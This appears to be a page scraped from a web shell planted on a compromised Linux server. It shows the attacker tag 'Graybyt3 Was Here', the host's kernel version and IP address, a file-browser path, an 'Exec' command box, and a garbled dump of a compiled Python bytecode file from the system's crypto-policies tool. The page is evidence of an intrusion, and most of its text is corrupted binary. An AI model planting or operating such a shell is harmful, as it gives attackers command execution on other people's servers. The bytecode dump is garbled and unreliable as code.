Graybyt3 Was Here
Linux vps-4656817-x.dattaweb.com 5.14.0-570.33.2.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 14 07:37:35 EDT 2025 x86_64
Apache
200.58.107.103
/
usr
/
share
/
crypto-policies
/
python
/
__pycache__
[ HOME ]
Exec
Submit
build-crypto-policies.cpython-39.pyc
a � �gW � @ sx d dl Z d dlZd dlZd dlZd dlZd dlZdZdd� Zdd� Zdd� Z dd d �Z dd� Zd d� Ze dkrte� dS )� Nzreload-cmds.shc O s t | dtji|�� d S )N�file)�print�sys�stderr)�args�kwargs� r �:/usr/share/crypto-policies/python/build-crypto-policies.py�eprint s r c C s� t jdd�} | jdddd� | jdddd� | jd td dd� | jd ddd� | jdddd� | jddd� | jddd� | �� S )zParse the command lineF)�allow_abbrevz--flat� store_truez1put all the generated files in a single directory)�action�helpz--testz7compare the generated config file with the existing onez--policyZPOLICYz"generate the specified policy only)�type�metavarr z--reloadcmdszDalso save reload cmds into reload-cmds.sh script in output directoryz--strictzfail on warnings� policydirz5a directory with base policy definition files (*.pol))r � outputdirz.a target directory with generated config files)�argparse�ArgumentParser�add_argument�str� parse_args)�parserr r r r s. �� �����r c C sz | j r$tj�| j|� d|� d��}n`tj�| j|�}tj�|�srzt�|� W n" typ td|� �� Y dS 0 tj�||d �}| j �r"z^t |dd��}|�� }W d � n1 s�0 Y ||kr�td|� d|� d �� W dS W d S t� y� Y n$ t�y td|� �� Y dS 0 t d|� d|� �� t |d dd��}|�|� W d � n1 �sf0 Y t � d S )N�-z.txtz#Cannot create directory for policy F�utf-8)�encodingzConfig for z for policy z differs from the existing oneTzError reading generated file zSaving config for �w��moder )Zflat�os�path�joinr �isdir�mkdir�OSErrorr �test�open�read�FileNotFoundErrorr �write)�cmdline�policy_nameZconfig_name�configr �dirpath�fZ old_configr r r �save_config/ s<